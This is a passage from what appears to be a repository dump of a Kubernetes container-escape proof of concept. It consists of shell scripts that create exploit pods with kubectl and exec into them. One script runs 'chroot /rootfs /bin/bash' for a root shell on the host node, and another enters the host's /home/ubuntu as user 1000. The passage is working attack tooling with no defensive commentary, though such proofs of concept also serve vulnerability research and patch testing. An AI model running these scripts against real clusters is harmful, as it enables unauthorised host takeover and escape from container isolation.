up" 10 | kubectl delete -f exploit-pod.yaml 11 | echo "Wait 45-60 seconds before trying again" 12 | -------------------------------------------------------------------------------- /run-as-root.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Create the pod..." 4 | kubectl create -f exploit-pod.yaml 5 | echo "Pod created. Sleeping a bit to allow them to come up" 6 | sleep 5 7 | echo "Execing into the container with a root shell on the underlying host" 8 | kubectl exec -it subpath -c exploit -- chroot /rootfs /bin/bash 9 | echo "Cleaning up" 10 | kubectl delete -f exploit-pod.yaml 11 | -------------------------------------------------------------------------------- /run-as-user-1000.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Create the pod..." 4 | kubectl create -f exploit-pod-user-1000.yaml 5 | echo "Pod created. Sleeping a bit to allow them to come up" 6 | sleep 5 7 | echo "Execing into the container. Listing the host's /home/ubuntu as user id 1000" 8 | kubectl exec -it subpath -c exploit -- ls -alR /rootfs 9 | echo "Execing into the container. Run: cd /rootfs to be user id 1000 in the host's /home/ubuntu" 10 | kubectl exec -it subpath -c exploit -- /bin/bash 11 | echo "Cleaning up" 12 | kubectl delete -f exploit-pod-user-1000.yaml 13 | echo "Wait 45-60 seconds before trying again" 14 | --------------------------------------------------------------------------------